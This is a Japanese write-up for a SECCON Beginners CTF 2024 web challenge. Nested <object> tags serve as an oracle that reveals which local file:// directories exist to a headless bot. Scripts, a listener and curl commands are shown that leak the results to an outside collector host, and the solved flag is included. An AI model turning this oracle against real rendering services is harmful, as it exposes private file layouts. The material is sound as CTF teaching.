- Source: SECCON Beginners CTF 2024
- Author: Satoki
任意のHTMLを書き込むことができ、送信すると「オフラインに保存したHTML」をbotが閲覧する。
capp.py
import os
import uuid
import asyncio
from playwright.async_api import async_playwright
from flask import Flask, send_from_directory, render_template, request
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index_get():
return render_template("index.html")
async def crawl(filename):
async with async_playwright() as p:
browser = await p.chromium.launch()
context = await browser.new_context(java_script_enabled=False)
page = await context.new_page()
await page.goto(f"file:///var/www/htmls/{filename}", timeout=5000)
await browser.close()
@app.route("/", methods=["POST"])
def index_post():
try:
html = request.form.get("html")
filename = f"{uuid.uuid4()}.html"
with open(f"htmls/{filename}", "w+") as f:
f.write(html)
asyncio.run(crawl(f"{filename}"))
os.remove(f"htmls/{filename}")
except:
pass
return render_template("ok.html")
@app.route("/flag/<path:flag_path>")
def flag(flag_path):
return send_from_directory("htmls/ctf/", os.path.join(flag_path, "flag.txt"))
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=31417)
botにはjava_script_enabled=False
が設定されており、XSSができない。
async def crawl(filename):
async with async_playwright() as p:
browser = await p.chromium.launch()
context = await browser.new_context(java_script_enabled=False)
page = await context.new_page()
await page.goto(f"file:///var/www/htmls/{filename}", timeout=5000)
await browser.close()
flagは/var/www/htmls/ctf/a/b/c/1/2/3/.../flag.txt
といった場所で保存されているが、階層数すら分からない。よって、一階層ずつディレクトリ名を特定していく必要がある。
#!/bin/bash
rm -rf /var/www/htmls/ctf/*
base_path="/var/www/htmls/ctf/"
depth=$((RANDOM % 10 + 15))
current_path="$base_path"
for i in $(seq 1 $depth); do
char=$(printf "%d" $((RANDOM % 36)))
if [[ $char -lt 26 ]]; then
char=$(printf "\\$(printf "%03o" $((char + 97)) )")
else
char=$(printf "%d" $((char - 26)))
fi
current_path+="${char}/"
mkdir -p "$current_path"
done
echo 'ctf4b{*****REDACTED*****}' > "${current_path}flag.txt"
何らかの方法でディレクトリが存在するか否かを知りたい。多くのブラウザにおいて、fileスキーマでディレクトリにアクセスした際、そのディレクトリが存在する場合はファイル一覧を返すが、存在しない場合はエラーを返す。
<object>
はdata
の参照に失敗した時、フォールバックコンテンツとしてその子要素を参照するらしい。これをオラクルに利用する。
このようなhtmlを読み込ませると、file:///var/www/htmls/ctf/a
が「存在しない」場合のみhttps://xxxxxxxx.m.pipedream.net/a
へのアクセスが発生する。
<object data="file:///var/www/htmls/ctf/a">
<object data="https://xxxxxxxx.m.pipedream.net/a"></object>
</object>
これをa-z0-9
について試すと、35個のリクエストが飛んできた。つまり、唯一飛んでこなかったパスが実際に存在するパスになる。
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
TEMPLATE = """
<object data="file:///var/www/htmls/ctf/{{PATH}}">
<object data="https://xxxxxxxx.m.pipedream.net/{{PATH}}"></object>
</object>
"""
html = ""
for i in range(len(charset)):
html += TEMPLATE.replace("{{PATH}}", f"{charset[i]}")
with open("test.html", "w") as f:
f.write(html)
リクエストを受け取って「リクエストが無かった」パスを特定するサーバーを用意する。なお、36個全てのリクエストが飛んできた時、そこが階層の最深部だと分かる。
const express = require('express');
const app = express();
let charset = "abcdefghijklmnopqrstuvwxyz0123456789".split("");
app.get('*', (req, res) => {
const pathLastChar = req.path.slice(-1);
charset = charset.filter(char => char !== pathLastChar);
if (charset.length === 1) {
console.log("Found:", charset[0]);
}
if (charset.length === 0) {
console.log("Finished");
}
res.send("OK");
});
app.listen(8100);
あとは一階層ごとにリクエストを送って存在するディレクトリを特定していく。
const charset = "abcdefghijklmnopqrstuvwxyz0123456789"
const template = `
<object data="file:///var/www/htmls/ctf/{{PATH}}">
<object data="http://my-server/{{PATH}}"></object>
</object>
`
let path = ""
// let path = "v/6/n/d/f/0/w/p/8/l/6/4/3/b/0/g/r/a/w/0/6/u/"
let html = ""
for (let i = 0; i < charset.length; i++) {
html += template.replaceAll("{{PATH}}", path+charset[i])
}
const formData = new FormData();
formData.append("html", html);
fetch("http://localhost:31417", {
method: "POST",
body: formData,
})
最後に特定したパスで/flag
エンドポイントを叩く。
curl "http://localhost:31417/flag/v/6/n/d/f/0/w/p/8/l/6/4/3/b/0/g/r/a/w/0/6/u/"
flagが得られた。
ctf4b{h7ml_15_7h3_l5_c0mm4nd_h3h3h3!}